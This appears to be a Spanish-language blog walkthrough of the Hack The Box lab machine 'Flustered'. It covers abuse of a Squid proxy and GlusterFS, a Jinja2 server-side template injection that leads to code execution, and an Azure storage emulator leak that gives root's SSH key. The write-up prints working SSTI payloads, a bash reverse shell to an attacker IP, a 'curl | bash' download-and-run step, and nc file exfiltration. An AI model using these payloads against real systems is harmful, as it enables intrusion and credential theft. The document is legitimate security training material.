Inicio HTB - Flustered
Entrada
Cancelar

HTB - Flustered

Resolución detallada de la maquina Flustered. Veremos las siguientes técnicas:

  1. Abusing Squid Proxy
  2. Abusing GlusterFS
  3. Information Leakage
  4. Server Side Template Injection (SSTI)[RCE]
  5. Abusing Azure Storage

Reconocimiento.

Comprobación conexión y TTL.

Realizamos un ping a la maquina victima para comprobar que tenemos traza ICMP y averiguar el S.O mediante el TTL:

1
2
3
4
5
6
7
8
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #ping -c 1 10.10.11.131
PING 10.10.11.131 (10.10.11.131) 56(84) bytes of data.
64 bytes from 10.10.11.131: icmp_seq=1 ttl=63 time=34.1 ms

--- 10.10.11.131 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 34.110/34.110/34.110/0.000 ms

Tenemos conexión y estamos ante una maquina linux.

Escaneo de puertos.

Utilizaremos nmap para escanear todos los puertos que tiene abiertos la maquina victima:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.11.131 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-15 22:50 CET
Initiating SYN Stealth Scan at 22:50
Scanning 10.10.11.131 [65535 ports]
Discovered open port 22/tcp on 10.10.11.131
Discovered open port 80/tcp on 10.10.11.131
Discovered open port 111/tcp on 10.10.11.131
Discovered open port 24007/tcp on 10.10.11.131
Discovered open port 49153/tcp on 10.10.11.131
Discovered open port 3128/tcp on 10.10.11.131
Discovered open port 49152/tcp on 10.10.11.131
Completed SYN Stealth Scan at 22:50, 10.42s elapsed (65535 total ports)
Nmap scan report for 10.10.11.131
Host is up, received user-set (0.040s latency).
Scanned at 2022-02-15 22:50:17 CET for 10s
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE    REASON
22/tcp    open  ssh        syn-ack ttl 63
80/tcp    open  http       syn-ack ttl 63
111/tcp   open  rpcbind    syn-ack ttl 63
3128/tcp  open  squid-http syn-ack ttl 63
24007/tcp open  unknown    syn-ack ttl 63
49152/tcp open  unknown    syn-ack ttl 63
49153/tcp open  unknown    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.56 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)

En mis apuntes encontraras mas detalladamente que hace cada parámetro del comando.

Utilizamos la herramienta extractPorts hecha por s4vitar para ver mejor los puertos encontrados y que se copien automáticamente a la clipboard:

1
2
3
4
5
6
7
8
9
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #extractPorts allPorts 

[*] Extracting information...

        [*] IP Address: 10.10.11.131
        [*] Open ports: 22,80,111,3128,24007,49152,49153

[*] Ports copied to clipboard

Lanzamos un whatweb pero no encontramos gran cosa:

1
2
3
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ $whatweb http://10.10.11.131
http://10.10.11.131 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[10.10.11.131], Title[steampunk-era.htb - Coming Soon], nginx[1.14.2]

Escaneo de servicios que corren cada puerto.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #nmap -sCV -p22,80,111,3128,24007,49152,49153 10.10.11.131 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-15 22:52 CET
Nmap scan report for 10.10.11.131
Host is up (0.052s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 93:31:fc:38:ff:2f:a7:fd:89:a3:48:bf:ed:6b:97:cb (RSA)
|   256 e5:f8:27:4c:38:40:59:e0:56:e7:39:98:6b:86:d7:3a (ECDSA)
|_  256 62:6d:ab:81:fc:d2:f7:a1:c1:9d:39:cc:f2:7a:a1:6a (ED25519)
80/tcp    open  http        nginx 1.14.2
|_http-title: steampunk-era.htb - Coming Soon
|_http-server-header: nginx/1.14.2
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
3128/tcp  open  http-proxy  Squid http proxy 4.6
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.6
24007/tcp open  rpcbind
49152/tcp open  ssl/unknown
| ssl-cert: Subject: commonName=flustered.htb
| Not valid before: 2021-11-25T15:27:31
|_Not valid after:  2089-12-13T15:27:31
|_ssl-date: TLS randomness does not represent time
49153/tcp open  rpcbind
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.79 seconds
PuertoServicioVersion
22sshOpenSSH 7.9
80httpnginx 1.14.2
111rpcbind2-4
3128http-proxySquid http proxy 4.6
24007rpcbind-
49152ssl/unknown-
49153rpcbind-

Añadimos los dos nombres de dominio encontrados al /etc/hosts. flustered.htb y steampunk-era.htb.

En la web no vemos nada de diferente entre los distintos dominios.

Analizando proxy.

Vemos que hay un Squid http proxy 4.6. A lo mejor, tiene un servicio http por el puerto 80 que pasando a traves del proxy nos permita listar un contenido diferente.

Con curl hay un parámetro que es --proxy a traves del cual podemos indicar el proxy por el cual podemos pasar y luego tratar de realizar una petición.

1
curl --proxy http://10.10.11.131:3129 http://127.0.0.1

Al estar pasando por un proxy estamos haciendo referencia al localhost de la maquina victima y no al nuestro.

Si ejecutamos el comando anterior vemos cosas, pero, nos pone access denied porque necesitamos autenticarnos.

GlusterFS.

Seguimos analizando mas puertos, por ejemplo, el 24007. Esto es GlusterFS (FileSystem)

Vamos a instalarnos glusterfs-client y glusterfs-server para analizar el servicio.

1
2
3
4
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #gluster --remote-host=10.10.11.131 volume list
vol1
vol2

Nos reporta que hay dos volúmenes. A continuación, montaremos el vol1 para ver que contiene. Creamos una carpeta en /mnt, en mi caso, sera /mnt/flustered. Ejecutamos la montura:

1
2
3
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #mount -t glusterfs 10.10.11.131:/vol1 /mnt/flustered/
Mount failed. Check the log file  for more details.

Se produce un error, analicemos el log /var/log/glusterfs/mnt-flustered.log

Nos da un problema de DNS, no logra saber que es flustered. Para solucionar este problema nos iremos al /etc/hosts y añadiremos el host flustered. Volvemos a ejecutar el comando, pero, nos da otro error distinto.

1
0-vol1-client-0: could not load our cert at /etc/ssl/glusterfs.pem

Esta buscando certificados en el /etc/ssl de nuestro equipo, en este caso, poco podemos hacer ya que no tenemos ese fichero.

Probamos con el vol2 y esto es lo que vemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─[root@h4cknet]─[/mnt/flustered]
└──╼ #ls -la
total 122938
drwx------ 6 Debian-exim ntp      4096 oct 25 14:52 .
drwxr-xr-x 1 root        root       18 feb 15 23:13 ..
-rw-rw---- 1 Debian-exim ntp     16384 oct 25 14:52 aria_log.00000001
-rw-rw---- 1 Debian-exim ntp        52 oct 25 14:52 aria_log_control
-rw-r--r-- 1 root        root        0 oct 25 14:43 debian-10.3.flag
-rw-rw---- 1 Debian-exim ntp       998 ene 28 12:23 ib_buffer_pool
-rw-rw---- 1 Debian-exim ntp  12582912 oct 25 14:52 ibdata1
-rw-rw---- 1 Debian-exim ntp  50331648 oct 25 14:52 ib_logfile0
-rw-rw---- 1 Debian-exim ntp  50331648 oct 25 14:37 ib_logfile1
-rw-rw---- 1 Debian-exim ntp  12582912 feb 15 15:59 ibtmp1
-rw-rw---- 1 Debian-exim ntp         0 oct 25 14:43 multi-master.info
drwx------ 2 Debian-exim ntp      4096 oct 25 14:43 mysql
-rw-rw---- 1 root        root       16 oct 25 14:43 mysql_upgrade_info
drwx------ 2 Debian-exim ntp      4096 oct 25 14:43 performance_schema
drwx------ 2 Debian-exim ntp      4096 oct 25 14:44 squid
-rw-rw---- 1 Debian-exim ntp     24576 feb 15 15:59 tc.log

Abrimos mysql_upgrade_info:

1
2
3
┌─[root@h4cknet]─[/mnt/flustered]
└──╼ #strings mysql_upgrade_info
10.3.31-MariaDB

Docker mysql.

Montaremos un docker con esta versión de mysql y meteremos todos estos archivos para ver las bases de datos. Seguimos los siguientes pasos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌─[root@h4cknet]─[/tmp]
└──╼ #mkdir mysql
┌─[root@h4cknet]─[/tmp]
└──╼ #cd !$
cd mysql
┌─[root@h4cknet]─[/tmp/mysql]
└──╼ #cp -R /mnt/flustered/* .
┌─[root@h4cknet]─[/tmp/mysql]
└──╼ #docker run --name mariadb -v /tmp/mysql:/var/lib/mysql -d mariadb:10.3.31
Unable to find image 'mariadb:10.3.31' locally
10.3.31: Pulling from library/mariadb
7b1a6ab2e44d: Pull complete 
034655750c88: Pull complete 
f0b757a2a0f0: Pull complete 
5c37daf8b6b5: Pull complete 
b4cd9409b0f6: Pull complete 
dbcda06785eb: Pull complete 
a34cd90f184c: Pull complete 
55c0df9b2fca: Pull complete 
e2a4d476ce21: Pull complete 
6592280ea514: Pull complete 
0ede5dfe32b4: Pull complete 
Digest: sha256:22834b9671a1e89b74e0cc0bc285fd33425ba2641afe86cb3afd5d8617245b81
Status: Downloaded newer image for mariadb:10.3.31
cfe8a82e69fe7de0a4da4e8ba077a7020382c1a5928b941fb6a43e4e07be7d1
┌─[root@h4cknet]─[/tmp/mysql]
└──╼ #docker images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
mariadb      10.3.31   439df5ac9582   4 months ago   386MB

A la hora de desplegar el contenedor todo lo que hay en mysql en /tmp/mysql me lo va a montar en /var/lib/mysql del contenedor (“maquina victima”). Con el parámetro -d indicamos la version exacta de mariadb que queremos utilizar.

Trataremos de forma interactiva obtener una bash de mariadb y comprobar que todo esta bien:

1
2
3
4
5
6
7
┌─[root@h4cknet]─[/tmp/mysql]
└──╼ #docker exec -it mariadb bash
root@cfe8a82e69fe:/# hostname -I 
172.17.0.2
root@cfe8a82e69fe:/# ls /var/lib/mysql/
aria_log.00000001  debian-10.3.flag  ib_logfile0  ibdata1  multi-master.info  mysql_upgrade_info  squid
aria_log_control   ib_buffer_pool    ib_logfile1  ibtmp1   mysql              performance_schema  tc.lo

Estamos en el docker y podemos ver los archivos que hemos indicado anteriormente para que se copiaran.

Si intentamos lanzar un mysql en vez de una bash nos da el siguiente error:

1
2
3
┌─[root@h4cknet]─[/tmp/mysql]
└──╼ #docker exec -it mariadb mysql
ERROR 1524 (HY000): Plugin 'unix_socket' is not loa

Solucionemos este problema. En la ruta /etc/mysql/mariadb.conf.d crearemos el siguiente archivo:

1
2
3
4
5
root@cfe8a82e69fe:/etc/mysql/mariadb.conf.d# nano socket.cnf
root@cfe8a82e69fe:/etc/mysql/mariadb.conf.d# cat socket.cnf 
[mariadb]
plugin-load-add = auth_socket.so
root@cfe8a82e69fe:/etc/mysql/mariadb.conf.d# 

Salimos del docker con CTRL+D y reiniciamos el docker:

1
2
3
4
5
6
┌─[✗]─[root@h4cknet]─[/tmp/mysql]
└──╼ #docker stop mariadb 
mariadb
┌─[root@h4cknet]─[/tmp/mysql]
└──╼ #docker start mariadb 
mariadb

Nos ejecutamos mysql y funcionara perfectamente:

1
docker exec -it mariadb mysql

Veamos las bases de datos y su contenido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| squid              |
+--------------------+
4 rows in set (0.000 sec)

MariaDB [(none)]> use squid;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [squid]> show tables;
+-----------------+
| Tables_in_squid |
+-----------------+
| passwd          |
+-----------------+
1 row in set (0.000 sec)

MariaDB [squid]> select * from passwd;
+----------------+---------------+---------+----------------+---------+
| user           | password      | enabled | fullname       | comment |
+----------------+---------------+---------+----------------+---------+
| lance.friedman | o>WJ5-jD<5^m3 |       1 | Lance Friedman |         |
+----------------+---------------+---------+----------------+---------+
1 row in set (0.000 sec)

MariaDB [squid]>

La base de datos se llama squid, con lo cual, entendemos que es para el proxy que encontramos antes. Ademas, tenemos usuario y contraseña, asi que, vamos a probar a conectarnos al proxy con esas credenciales.

Conexión a proxy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─[✗]─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #curl --proxy 'http://lance.friedman:o>WJ5-jD<5^m3@10.10.11.131:3128' http://127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

La cosa ha cambiado, ya no nos pone access denied y vemos una nueva pagina de nginx.

Analizando directorios.

Analicemos los directorios con gobuster:

1
2
3
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #gobuster dir --proxy 'http://lance.friedman:o>WJ5-jD<5^m3@10.10.11.131:3128' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://127.0.0.1
Error: error on creating gobusterdir: proxy URL is invalid (parse "http://lance.friedman:o>WJ5-jD<5^m3@10.10.11.131:3128": net/url: invalid userinfo)

A pesar de estar bien puesto, nos salta un error con la url. Los símbolos especiales los pondremos en hexadecimal, con man ascii vemos la tabla y su correspondiente código. Quedaría algo asi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #gobuster dir -t 200 --proxy 'http://lance.friedman:o%3EWJ5-jD%3C5%5Em3@10.10.11.131:3128' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://127.0.0.1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://127.0.0.1
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://lance.friedman:o%3EWJ5-jD%3C5%5Em3@10.10.11.131:3128
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/16 00:20:14 Starting gobuster in directory enumeration mode
===============================================================
/app                  (Status: 301) [Size: 185] [--> http://127.0.0.1/app/]
                                                                           
===============================================================
2022/02/16 00:21:14 Finished
===============================================================

Nos reporta /app. Vamos a buscar en ese directorio (http://127.0.0.1/app) archivos con extensiones .py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #gobuster dir -t 200 --proxy 'http://lance.friedman:o%3EWJ5-jD%3C5%5Em3@10.10.11.131:3128' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://127.0.0.1/app -x py
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://127.0.0.1/app
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://lance.friedman:o%3EWJ5-jD%3C5%5Em3@10.10.11.131:3128
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              py
[+] Timeout:                 10s
===============================================================
2022/02/16 00:24:20 Starting gobuster in directory enumeration mode
===============================================================
/templates            (Status: 301) [Size: 185] [--> http://127.0.0.1/app/templates/]
/static               (Status: 301) [Size: 185] [--> http://127.0.0.1/app/static/]   
/app.py               (Status: 200) [Size: 748]                                      
/config               (Status: 301) [Size: 185] [--> http://127.0.0.1/app/config/]   
                                                                                     
===============================================================
2022/02/16 00:26:25 Finished
===============================================================

Nos encuentra varias cosas, voy a ver el app.py.

1
curl -s --proxy 'http://lance.friedman:o>WJ5-jD<5^m3@10.10.11.131:3128' http://127.0.0.1/app/app.py | batcat -l py

app.py

NOTA: batcat lo utilizo para ver mejor el codigo, no es necesario ejecutarlo.

Viendo el codigo encontramos que podemos controlar el output de la web:

┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #curl -s -X POST "http://10.10.11.131/" -H "Content-type: application/json" -d '{"siteurl": "test"}'

    <html>
    <head>
    <title>test - Coming Soon</title>
    </head>
    <body style="background-image: url('/static/steampunk-3006650_1280.webp');background-size: 100%;background-repeat: no-repeat;"> 
    </body>
    </html>

Burpsuite.

Nos abrimos BurpSuite para probar Jinja2 - Basic injection. Primero tenemos que lanzar el curl y mandarlo al proxy de burpsuite:

curl -s -X POST "http://10.10.11.131/" -H "Content-type: application/json" -d '{"siteurl": "{{7*7}}"}' --proxy http://127.0.0.1:8080

Modificamos la peticion por lo siguiente:

burpsuite

Y nos responde correctamente.

Ejecución de comandos.

¿Como ejecutamos comandos con esto?

Intentamos lanzarnos un ping a nuestra maquina. Para ello, nos pondremos en escucha tcpdump -i tun0 icmp -n y ejecutamos lo siguiente:

┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #curl -s -X POST "http://10.10.11.131/" -H "Content-type: application/json" -d '{"siteurl": "{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__[\"__import__\"](\"os\").system(\"ping -c 1 10.10.16.8\")}}{%endif%}{%endfor%}"}'

    <html>
    <head>
    <title>0 - Coming Soon</title>
    </head>
    <body style="background-image: url('/static/steampunk-3006650_1280.webp');background-size: 100%;background-repeat: no-repeat;"> 
    </body>
    </html>

Por aqui recibimos la traza:

1
2
3
4
5
6
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered/content]
└──╼ #tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:01:14.409631 IP 10.10.11.131 > 10.10.16.8: ICMP echo request, id 30669, seq 1, length 64
01:01:14.409663 IP 10.10.16.8 > 10.10.11.131: ICMP echo reply, id 30669, seq 1, length 64

Ahora vamos a ganar acceso a la maquina. Nos creamos un index.html que en realidad tendra codigo en bash:

1
2
3
4
5
┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered/content]
└──╼ #cat index.html 
#!/bin/bash

bash -i >& /dev/tcp/10.10.16.8/443 0>&1

Lanzamos un servidor en python para que la maquina victima se conecte y obtenga el index.html:

1
python3.9 -m http.server 80

Nos ponemos en escucha, en mi caso, por el puerto 443:

1
nc -nvlp 443

Lanzamos el comando remoto para que la maquina se conecte a la nuestra:

┌─[root@h4cknet]─[/home/w0lfst/HTB/Flustered]
└──╼ #curl -s -X POST "http://10.10.11.131/" -H "Content-type: application/json" -d '{"siteurl": "{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__[\"__import__\"](\"os\").system(\"curl 10.10.16.8 | bash\")}}{%endif%}{%endfor%}"}'
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.14.2</center>
</body>
</html>

Estamos haciendo un curl a nuestro servidor de python y luego lo pipeamos con la bash curl 10.10.16.8 | bash.

Acceso a la maquina.

Ya estamos dentro de la maquina victima. Ahora vamos a obtener acceso al usuario jennifer para capturar la flag de user.

Si recordamos, el vol1 no podiamos montarlo ya que no teniamos los ficheros ssl, ahora podremos enviarlos a nuestra maquina para montar el vol1:

1
2
3
4
5
6
┌─[root@h4cknet]─[~]
└──╼ #cd /etc/ssl
┌─[root@h4cknet]─[~]
└──╼ #nc -nvlp 443 > glusterfs.ca

www-data@flustered:/etc/ssl$ nc 10.10.16.8 443 < glusterfs.ca

Hariamos todo igual para cada fichero(.key y .pem).

Montamos el vol1:

1
mount -t glusterfs 10.10.11.131:/vol1 /mnt/flustered/

Encontramos el directorio de jennifer, con lo cual, podemos ver la flag. Ademas podemos añadir nuestra clave publica de ssh para conectarnos.

1
2
3
4
5
6
7
8
9
10
┌─[root@h4cknet]─[~]
└──╼ #ssh-keygen 
┌─[root@h4cknet]─[~]
└──╼ #cat .ssh/id_rsa.pub | tr -d '\n' | xclip -sel clip
┌─[root@h4cknet]─[/mnt/flustered]
└──╼ #cd /mnt/flustered
┌─[root@h4cknet]─[/mnt/flustered]
└──╼ #nano .ssh/authorized_keys
CTRL+SHIFT+V 
Guardamos y nos conectamos.

Escalar privilegios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
jennifer@flustered:~$ hostname -I
10.10.11.131 172.17.0.1 dead:beef::250:56ff:feb9:4e03
jennifer@flustered:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:4e:03 brd ff:ff:ff:ff:ff:ff
    inet 10.10.11.131/24 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:4e03/64 scope global dynamic mngtmpaddr 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:4e03/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:e0:90:c0 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:acff:fee0:90c0/64 scope link 
       valid_lft forever preferred_lft forever
5: veth61376bc@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether aa:f7:ab:2b:9c:6f brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::a8f7:abff:fe2b:9c6f/64 scope link 
       valid_lft forever preferred_lft forever

Tenemos un docker corriendo en la ip 172.17.0.1. No podemos listar las imagenes ni los contenedores porque no disponemos de permisos.

Vamos a fuzzear activos validos. Nos crearemos un script en bash que realizara un ping a un rango de ips.

1
2
3
4
5
#!/bin/bash

for ip in $(seq 1 254); do
        timeout 1 bash -c "ping -c 1 172.17.0.$ip" &>/dev/null && echo "HOST 172.17.0.$ip esta activo" &
done; wait

Lanzamos el script:

1
2
3
jennifer@flustered:/tmp$ ./hostDiscovery.sh 
HOST 172.17.0.1 esta activo
HOST 172.17.0.2 esta activo

Tenemos una nueva ip. Ahora vamos a escanear sus puertos abiertos. Creamos otro script parecido al anterior:

1
2
3
4
5
#!/bin/bash

for puerto in $(seq 1 65535); do
        timeout 1 bash -c "echo '' > /dev/tcp/172.17.0.2/$puerto" 2>/dev/null && echo "Puerto $puerto abierto" &
done; wait

Lanzamos el script:

1
2
jennifer@flustered:/tmp$ ./portDiscovery.sh 
Puerto 10000 abierto

Nos detecta el puerto 10000. No sabemos que hay detras de este puerto. Probamos a lanzar un curl para saber si es http:

1
2
3
4
5
6
7
jennifer@flustered:/tmp$ curl http://172.17.0.2:10000
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Error>
  <Code>InvalidQueryParameterValue</Code>
  <Message>Value for one of the query parameters specified in the request URI is invalid.
RequestId:48e57e82-88ed-4963-b35d-bb53b272626a
Time:2022-02-16T19:52:33.342Z</Message>

Parece que si es http. Nos traemos el puerto 10000 de la maquina victima a la nuestra para escanearlo mejor. Esto lo hacemos con port forwarding a traves de ssh:

1
ssh -L 10000:172.17.0.2:10000 jennifer@10.10.11.131

En el anterior comando le estamos indicando que el puerto 10000 de la maquina victima (en este caso, el docker) sea nuestro puerto 10000 local.

docker

Nos muestra el codigo InvalidQueryParameterValue. Buscamos en internet que es, y vemos algo de Microsoft Azure. Hay un explorador de almacenamiento de azure, lo utilizaremos desde ubuntu ya que en Parrot OS da problemas.

Estando ya en ubuntu, nos instalamos lo siguiente:

  1. sudo apt install snapd
  2. sudo snap install storage-explorer
  3. storage-explorer > Nos dara un error, le tenemos que dar clic a copy command and quit y pegamos el comando que nos ha copiado. Despues de esto volvemos a ejecutar storage-explorer.
  4. En Seleccionar recurso seleccionamos Emulador de almacenamiento local y nos aparece lo siguiente:

azure

Nombre de la cuenta: jennifer

Clave de cuenta: La encontramos ejecutando en la raiz de la maquina victima find \-name key 2>/dev/null y nos reporta /var/backups/key.

Nos conectamos y vemos la clave privada de ssh del usuario root:

azure2

Nos creamos un archivo llamado id_rsa en nuestro equipo con esa clave y le asignamos permisos chmod 600 id_rsa para realizar la conexion por ssh:

1
ssh -i id_rsa root@10.10.11.131

Visualizamos flag de root!!!

Exploits y contenido: En mi github encontraras el script autopwn.py y los archivos de reconocimiento.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.